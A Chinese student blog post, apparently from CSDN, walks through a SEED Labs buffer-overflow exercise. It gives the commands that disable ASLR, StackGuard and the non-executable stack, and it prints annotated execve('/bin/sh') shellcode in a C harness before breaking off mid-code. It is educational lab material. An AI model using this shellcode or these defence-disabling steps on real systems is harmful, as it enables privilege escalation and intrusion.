基于SeedUbuntu16.04的缓冲区溢出实验

本文介绍了如何在SeedUbuntu16.04上进行缓冲区溢出攻击实验,包括关闭防御措施如地址随机化、StackGuard和不可执行栈,以及如何构造badfile和攻破Linux的防御机制,如dash、地址随机化和StackGuard等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

写本文的万恶之源是提前到七月份的暑期学校,大二忙了一整年,本来以为终于可以好好休息下了,结果万恶的暑期学校被提前到七月份了,好不容易熬到七月底准备放假,又遇上疫情(摊手)。大部分学生都被关在学校,本人通过一点小技巧逃回了家(小声

回家本来打算当条咸鱼了,想到同学们还在学校奋战,于是乎把自己认为暑期学校学的为数不多的有用的东西写成博客发出去,这也算是我大二转到码之后写的第一篇博客吧,写的不好希望大家能多多包涵~

本来实验要求是用SeedUbuntu20.04,用Docker完成服务器环境上的缓冲区溢出攻击。由于本人上课摸鱼,没听到docker怎么搞,属实是懒狗一条,就用16.04做无脑版本了…

一.关闭防御措施

1.关闭地址随机化

在终端输入以下指令,关闭地址随机化,简化实验

sudo sysctl -w kernel.randomize_va_space=0

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pGSotDs5-1628162094726)(1.png)]

2.关闭StackGuard防御机制

在编译c文件时加入以下参数

 gcc -fno-stack-protector example.c #-fno-stack-protector选项关闭了StackGuard防御机制

3.关闭不可执行栈防御机制

在编译c文件时加入以下参数

gcc -z execstack -o test test.c #-z execstack指定了栈可执行

3.改变/bin/sh指向zsh

避免在shell中运行时自动放弃特权


二.运行shellcode

运行以下代码

/* call_shellcode.c */
/*
设置四个寄存器eax,ebx,ecx,edx
eax保存execve的系统调用号11
ebx保存命令字符串的地址/bin/sh
ecx保存argv地址,argc[0]="/bin/sh",argv[1]=\0
edx保存传递给新程序环境变量的地址,此处为0
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
//设置ebx
"\x31\xc0" //xorl %eax,%eax,利用异或操作将eax设置为0,避免在code代码中出现0 
"\x50" // pushl %eax 将/bin/sh末尾结束符0先压栈
"\x68""//sh" // pushl $0x68732f2f 把//sh压入栈中
"\x68""/bin" // pushl $0x6e69622f 把/bin压入栈中,此时/bin/sh字符串已经完全压入栈中,esp栈帧指针指向字符串起始位置 
"\x89\xe3" // movl %esp,%ebx 将esp赋给ebx

//设置ecx
"\x50" // pushl %eax 设置argv[1] 
"\x53" // pushl %ebx 设置argv[0],此时esp指向argv首地址 
"\x89\xe1" // movl %esp,%ecx 将esp赋给ecx

//设置edx
"\x99" //cdq 间接设置edx为0
    
//设置eax
"\xb0\x0b" // movb $0x0b 将eax寄存器的值设置为11(exec的系统调用号)
"\xcd\x80" // int $0x80 调用该系统调用 
;
int main(int argc, char **argv)
{
   
char buf[sizeof(code)];
strcpy
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值